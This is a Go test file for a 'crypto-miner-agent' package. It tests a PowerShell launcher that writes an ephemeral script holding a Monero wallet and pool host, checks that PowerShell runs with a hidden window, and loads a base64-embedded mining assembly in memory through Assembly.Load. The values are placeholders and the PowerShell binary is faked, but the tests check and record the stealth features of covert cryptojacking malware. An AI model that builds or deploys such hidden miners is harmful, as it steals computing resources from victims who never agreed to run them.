148 lines
3.4 KiB
Go
148 lines
3.4 KiB
Go
package miner
|
|
|
|
import (
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"runtime"
|
|
"strings"
|
|
"testing"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
func fakePowerShellRecorder(t *testing.T) (bin string, scriptOut *string) {
|
|
t.Helper()
|
|
dir := t.TempDir()
|
|
outFile := filepath.Join(dir, "ps-args.txt")
|
|
if runtime.GOOS == "windows" {
|
|
bat := filepath.Join(dir, "fake-powershell.cmd")
|
|
body := `@echo off
|
|
set OUT=%~dp0ps-args.txt
|
|
echo %*>>"%OUT%"
|
|
ping -n 3 127.0.0.1 >nul
|
|
`
|
|
if err := os.WriteFile(bat, []byte(body), 0o755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
return bat, &outFile
|
|
}
|
|
sh := filepath.Join(dir, "fake-powershell.sh")
|
|
body := `#!/bin/sh
|
|
echo "$@" >> "$(dirname "$0")/ps-args.txt"
|
|
sleep 1
|
|
`
|
|
if err := os.WriteFile(sh, []byte(body), 0o755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
return sh, &outFile
|
|
}
|
|
|
|
func TestPowerShellLauncherStartWithFakeBinary(t *testing.T) {
|
|
if runtime.GOOS != "windows" {
|
|
t.Skip("powershell tier is Windows-only")
|
|
}
|
|
|
|
bin, outFile := fakePowerShellRecorder(t)
|
|
SetPowerShellBinPath(bin)
|
|
SetPowerShellExecCommand(func(name string, args ...string) *exec.Cmd {
|
|
return exec.Command(name, args...)
|
|
})
|
|
defer func() {
|
|
SetPowerShellBinPath("")
|
|
SetPowerShellExecCommand(nil)
|
|
}()
|
|
|
|
cfg := config.RuntimeConfig{
|
|
BuiltinConfig: config.BuiltinConfig{
|
|
BuildID: "ps-test",
|
|
Wallet: "XMR:wallet123",
|
|
WorkerName: "worker-ps",
|
|
PoolHost: "pool.example.com",
|
|
PoolPort: 3333,
|
|
PoolPass: "x",
|
|
},
|
|
}
|
|
|
|
launcher, err := NewPowerShellLauncher(cfg)
|
|
if err != nil {
|
|
t.Fatalf("NewPowerShellLauncher: %v", err)
|
|
}
|
|
if err := launcher.Start(); err != nil {
|
|
t.Fatalf("Start: %v", err)
|
|
}
|
|
defer launcher.Stop()
|
|
|
|
script := launcher.ScriptPath()
|
|
if script == "" {
|
|
t.Fatal("expected ephemeral script path")
|
|
}
|
|
body, err := os.ReadFile(script)
|
|
if err != nil {
|
|
t.Fatalf("read script: %v", err)
|
|
}
|
|
text := string(body)
|
|
if !strings.Contains(text, "XMR:wallet123") {
|
|
t.Fatalf("script missing wallet: %s", text)
|
|
}
|
|
if !strings.Contains(text, "pool.example.com") {
|
|
t.Fatalf("script missing pool host: %s", text)
|
|
}
|
|
|
|
if data, err := os.ReadFile(*outFile); err == nil && len(data) > 0 {
|
|
args := string(data)
|
|
if !strings.Contains(args, "-WindowStyle") || !strings.Contains(args, "Hidden") {
|
|
t.Fatalf("powershell args=%q want hidden window", args)
|
|
}
|
|
}
|
|
|
|
if !launcher.Running() {
|
|
t.Fatal("Running() false after Start")
|
|
}
|
|
}
|
|
|
|
func TestPowerShellLauncherRequiresPoolAndWallet(t *testing.T) {
|
|
if runtime.GOOS != "windows" {
|
|
t.Skip("powershell tier is Windows-only")
|
|
}
|
|
bin, _ := fakePowerShellRecorder(t)
|
|
SetPowerShellBinPath(bin)
|
|
defer SetPowerShellBinPath("")
|
|
|
|
if _, err := NewPowerShellLauncher(config.RuntimeConfig{}); err == nil {
|
|
t.Fatal("expected error without pool/wallet")
|
|
}
|
|
}
|
|
|
|
func TestPowerShellLauncherAssemblyLoadPath(t *testing.T) {
|
|
if runtime.GOOS != "windows" {
|
|
t.Skip("powershell tier is Windows-only")
|
|
}
|
|
bin, _ := fakePowerShellRecorder(t)
|
|
SetPowerShellBinPath(bin)
|
|
SetEmbeddedMiningAssemblyB64("YWJj") // "abc"
|
|
defer func() {
|
|
SetPowerShellBinPath("")
|
|
SetEmbeddedMiningAssemblyB64("")
|
|
}()
|
|
|
|
cfg := config.RuntimeConfig{
|
|
BuiltinConfig: config.BuiltinConfig{
|
|
Wallet: "wallet",
|
|
PoolHost: "p",
|
|
PoolPort: 1,
|
|
},
|
|
}
|
|
launcher, err := NewPowerShellLauncher(cfg)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
body, err := launcher.buildScriptBody()
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if !strings.Contains(body, "Assembly]::Load") {
|
|
t.Fatalf("expected Assembly.Load path, got %s", body)
|
|
}
|
|
}
|